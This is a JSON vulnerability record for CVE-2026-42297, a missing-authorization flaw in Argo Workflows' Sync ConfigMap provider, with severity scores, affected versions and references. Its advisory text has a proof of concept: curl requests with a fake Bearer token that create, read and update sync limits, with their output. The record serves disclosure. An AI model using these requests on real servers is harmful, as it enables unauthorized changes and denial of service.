{"id":"CVE-2026-42297","aliases":["CVE-2026-42297","GHSA-xchc-cqwg-g76q","BIT-ARGO-WORKFLOWS-2026-42297","GO-2026-5751"],"related":["CGA-v754-m8c5-6gg7"],"kind":"vulnerability","state":"published","title":"Argo Workflows Is Missing Authorization in Sync ConfigMap Provider","summary":"Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. From version 4.0.0 to before version 4.0.5, the Sync Service's ConfigMap-backed provider (server/sync/sync_cm.go) performs zero authorization checks on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits. This issue has been patched in version 4.0.5.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. From version 4.0.0 to before version 4.0.5, the Sync Service's ConfigMap-backed provider (server/sync/sync_cm.go) performs zero authorization checks on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits. This issue has been patched in version 4.0.5.","source":"cvelist"},{"lang":"en","text":"### Summary\nThe Sync Service's ConfigMap-backed provider (`server/sync/sync_cm.go`) performs **zero authorization checks** on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits.\n\n### Details\nThe ConfigMap-backed provider (`server/sync/sync_cm.go`) has no `auth.CanI` checks:\n\n```go\n// sync_cm.go — UNPROTECTED\nfunc (s *configMapSyncProvider) createSyncLimit(ctx context.Context, req *syncpkg.CreateSyncLimitRequest) {\n    // NO auth.CanI check\n    kubeClient := auth.GetKubeClient(ctx)\n    configmapGetter := kubeClient.CoreV1().ConfigMaps(req.Namespace)\n    // ... directly creates/updates ConfigMaps\n}\n```\n- `server/sync/sync_cm.go` — lines 23-155\n- All four SyncService endpoints: `CreateSyncLimit`, `GetSyncLimit`, `UpdateSyncLimit`, `DeleteSyncLimit`\n\n### PoC\n### Prerequisites\n\n- Argo Server running with `--auth-mode=server`\n- Port-forward: `kubectl port-forward -n argo svc/argo-server 2746:2746`\n\n### Step 1: Create Sync Limit (Fake Token)\n\n```bash\ncurl -sk -X POST \"https://localhost:2746/api/v1/sync/default\" \\\n  -H \"Authorization: Bearer fake-token\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"type\": 0, \"namespace\": \"default\", \"cmName\": \"test-sync\", \"key\": \"test-key\", \"limit\": 5}'\n```\n\n**Result:** `{\"namespace\":\"default\",\"cmName\":\"test-sync\",\"key\":\"test-key\",\"limit\":5}`\n\nVerify ConfigMap was created in Kubernetes:\n\n```bash\nkubectl get configmap test-sync -n default\n```\n\n```\nNAME        DATA   AGE\ntest-sync   1      74s\n```\n\n### Step 2: Read Sync Limit (Fake Token)\n\n```bash\ncurl -sk \"https://localhost:2746/api/v1/sync/default/test-key?type=0&cmName=test-sync\" \\\n  -H \"Authorization: Bearer fake-token\"\n```\n\n**Result:** `{\"namespace\":\"default\",\"cmName\":\"test-sync\",\"key\":\"test-key\",\"limit\":5}`\n\n### Step 3: Update Sync Limit (Fake Token)\n\n```bash\ncurl -sk -X PUT \"https://localhost:2746/api/v1/sync/default/test-key\" \\\n  -H \"Authorization: Bearer fake-token\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"type\": 0, \"namespace\": \"default\", \"cmName\": \"test-sync\", \"key\": \"test-key\", \"limit\": 999}'\n```\n\n**Result:** `{\"namespace\":\"default\",\"cmName\":\"test-sync\",\"key\":\"test-key\",\"limit\":999}`\n\nVerify the ConfigMap was actually modified:\n\n```bash\nkubectl get configmap test-sync -n default -o jsonpath='{.data.test-key}'\n```\n\n```\n999\n```\n\n### Impact\nAn attacker with network access to the Argo Server can:\n\n1. **Denial of Service** — Set sync limits to `0` or `1`, blocking all parallel workflow execution\n2. **Workflow Disruption** — Modify existing sync limits to break running workflows\n3. **Information Disclosure** — Read ConfigMap data that may contain sensitive configuration\n4. **Arbitrary ConfigMap Manipulation** — Create/delete ConfigMaps in any namespace accessible to the server's service account\n\n## Related CVEs\n\n- **CVE-2026-28229** (GHSA-56px-hm34-xqj5): Unauthorized access to WorkflowTemplate endpoints — same root cause (missing `auth.CanI` check)\n- **CVE-2024-53862** (GHSA-h36c-m3rf-34h9): Archived workflow auth bypass — same pattern","format":"markdown","source":"ghsa"},{"lang":"en","text":"Argo has Missing Authorization in its Sync ConfigMap Provider in github.com/argoproj/argo-workflows","format":"markdown","source":"go"},{"lang":"es","text":"Argo Workflows es un motor de flujo de trabajo nativo de contenedores de código abierto para orquestar trabajos paralelos en Kubernetes. Desde la versión 4.0.0 hasta antes de la versión 4.0.5, el proveedor respaldado por ConfigMap del Servicio de Sincronización (servidor/sync/sync_cm.go) no realiza ninguna comprobación de autorización en todas las operaciones CRUD (crear, leer, actualizar, eliminar). Cualquier usuario autenticado - incluyendo aquellos que usan tokens Bearer falsos - puede crear, leer, actualizar y eliminar ConfigMaps de Kubernetes que contienen límites de sincronización. Este problema ha sido parcheado en la versión 4.0.5.","source":"nvd"}],"published":"2026-05-04T20:00:18.000Z","modified":"2026-09-10T03:50:48.081Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:H/SA:H","score":8.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:H/SA:H","score":8.5,"rating":"HIGH"},{"scorer":"redhat-SADP","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H","score":8.3,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:H/SA:H","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H","score":8.3,"rating":"HIGH"},{"scorer":"Bitnami Vulnerability Database","scheme":"rating","rating":"HIGH"}],"cwes":["CWE-425","CWE-862"],"affected":[{"ranges":[{"version":">= 4.0.0, < 4.0.5","status":"affected"}],"vendor":"argoproj","product":"argo-workflows","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-data-science-pipelines-argo-argoexec-rhel8","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-data-science-pipelines-argo-argoexec-rhel9","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-data-science-pipelines-argo-workflowcontroller-rhel8","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-data-science-pipelines-argo-workflowcontroller-rhel9","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"4.0.0","status":"affected","fixed":"4.0.5"}],"ecosystem":"Go","package":"github.com/argoproj/argo-workflows/v4","purl":"pkg:golang/github.com/argoproj/argo-workflows/v4","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/argoproj/argo-workflows","purl":"pkg:golang/github.com/argoproj/argo-workflows","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/argoproj/argo-workflows/v2","purl":"pkg:golang/github.com/argoproj/argo-workflows/v2","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/argoproj/argo-workflows/v3","purl":"pkg:golang/github.com/argoproj/argo-workflows/v3","source":"go"},{"ranges":[{"type":"semver","introduced":"4.0.0","status":"affected","fixed":"4.0.5"}],"ecosystem":"Go","package":"github.com/argoproj/argo-workflows/v4","purl":"pkg:golang/github.com/argoproj/argo-workflows/v4","source":"go"},{"ranges":[{"status":"affected","introduced":"4.0.0","fixed":"4.0.5"}],"vendor":"argoproj","product":"argo_workflows","cpe":"cpe:2.3:a:argoproj:argo_workflows:*:*:*:*:*:go:*:*","source":"nvd"},{"ranges":[{"type":"semver","introduced":"4.0.0","status":"affected","fixed":"4.0.5"}],"ecosystem":"Bitnami","package":"argo-workflows","purl":"pkg:bitnami/argo-workflows","source":"bitnami"}],"references":[{"url":"https://github.com/argoproj/argo-workflows/security/advisories/GHSA-xchc-cqwg-g76q","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd","bitnami"]},{"url":"https://github.com/argoproj/argo-workflows/commit/09fff05e0830c14a5e36cc40597ad84881db1ab6","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd","bitnami"]},{"url":"https://github.com/argoproj/argo-workflows/releases/tag/v4.0.5","tags":["article","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd","bitnami"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42297","tags":["vdb-entry","web","x-refsource-redhat"],"sources":["cvelist","nvd","bitnami"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2468448","tags":["issue-tracking","web","x-refsource-redhat"],"sources":["cvelist","nvd","bitnami"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42297.json","tags":["web","x-sadp-csaf-vex"],"sources":["cvelist","nvd","bitnami"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42297","tags":["advisory","web"],"sources":["ghsa","go","bitnami"]},{"url":"https://github.com/argoproj/argo-workflows","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-05-12T02:22:39.608Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-42297","url":"https://www.cve.org/CVERecord?id=CVE-2026-42297","licence":"CVE Terms of Use","modified":"2026-07-15T00:57:41.809Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-xchc-cqwg-g76q","url":"https://github.com/advisories/GHSA-xchc-cqwg-g76q","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:48.081Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5751","url":"https://pkg.go.dev/vuln/GO-2026-5751","licence":"CC-BY-4.0","modified":"2026-07-02T14:44:24.914Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-42297","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42297","licence":"Public domain","modified":"2026-07-24T21:10:00.143Z"},{"source":"bitnami","name":"Bitnami Vulnerability Database","id":"BIT-ARGO-WORKFLOWS-2026-42297","url":"https://osv.dev/vulnerability/BIT-ARGO-WORKFLOWS-2026-42297","licence":"Apache-2.0","modified":"2026-09-08T08:45:48.759Z"}],"updatedAt":"2026-11-25T22:59:21.137Z","epss":{"score":0.00515,"percentile":0.45354,"date":"2026-12-01T12:00:22.000Z"}}